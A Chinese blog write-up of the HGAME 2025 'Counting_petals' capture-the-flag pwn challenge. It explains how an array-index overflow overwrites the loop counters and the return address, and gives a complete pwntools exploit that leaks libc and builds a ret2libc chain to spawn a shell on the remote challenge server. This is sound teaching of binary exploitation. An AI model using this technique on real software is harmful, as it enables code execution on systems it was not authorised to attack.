Hgame2025_week1 Counting_petals

整数溢出覆盖数组数据实现libc泄露打ret2libc

counting petals

解析

alt text

IDA反编译 栈布局(以rbp为基准)
+————————+
| return address | <- RBP + 8
+————————+
| saved RBP | <- RBP
+————————+
| canary | <- RBP - 8
+————————+
| v9 | <- RBP - 0Ch
+————————+
| v8 | <- RBP - 10h
+————————+
| v7[17] | <- RBP - 98h
+————————+
| v6 | <- RBP - 9Ch
+————————+
| v5 | <- RBP - A0h
+————————+
| v4 | <- RBP - A4h
+————————+
最开始输入v8,一个不大于16的数,位于rbp-10h 可以写入v8次数,根据v9比较进行判断 但同时注意到v7[17]数组分配88h空间,且循环中逻辑是先++后填入数据
那么我们输入16的话刚好就可以通过覆写v8与v9来实现栈溢出

需要注意在while(v9<v8)中,我们输入的是八位长整型如果我们想要改变v9的值,需要注意类型,不然就会像我刚开始一样虽然改变了v8一直死循环
因为v9始终置0

alt text

这里要注意的就是一开始随机生成的v6会用于进行运算来决定是否二次进入程序
所以我选择多运行几次😁 ps:canary有一种绕过方法,moectf2024:Catch_the_canary 我们直接在scanf读取数字时输入+-绕过就行了

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from ctypes import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]
io=remote("node1.hgame.vidar.club",32242)
#io=process("./vuln")
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num          		:io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))	
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
ia		= lambda                    :io.interactive()


elf=ELF("./vuln")
libc=ELF("./libc.so.6")

sla(b"time?",b"16")
for i in range(1,16):
    sla(b": ", b"0")
sla(b"16 :",b"24") #v7[17]=24,rbp-98h+8*17(136)=ebp-10h,刚好到v8空间,因为输入的是ld所以高位的0会给v9
for i in range(1,24+1):
    sla(b": ", b"+")
#gdb.attach(io)    
sla(b"Reply 1 indicates the former and 2 indicates the latter: \n",b"1")
ru(b"Let's look at the results.\n")

output = ru(b" = ").decode().split(' + ')
log.success("output:{}".format(output))

#canary=int(output[16],10) #canary紧跟在后面
libc_base = int(output[18],10)-int("0x29d90",16) #0x29d90,ret
#print(hex(canary))
#print(hex(libc_base))

#下面时二次进入,相似部分跟上面一样即可
sla(b"time?",b"16")

system_addr=libc_base+libc.symbols["system"]
# binsh_addr=libc_base+0x1d8678
binsh_addr=libc_base+next(libc.search(b"/bin/sh"))
#pop_rdi_addr=libc_base+0x2a3e5
pop_rdi_addr = libc_base+libc.search(asm("pop rdi; ret")).__next__()
ret_addr=libc_base+0x29139

for i in range(15):
    sla(b": ", b"0")
sla(b"16 :",b"24") 

for i in range(18):
    sla(b": ", b"+") 

sl(str(pop_rdi_addr))
sl(str(binsh_addr))
sl(str(ret_addr)) #对齐
sl(str(system_addr))
io.interactive()
本博客已稳定运行
发表了30篇文章 · 总计6万7千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...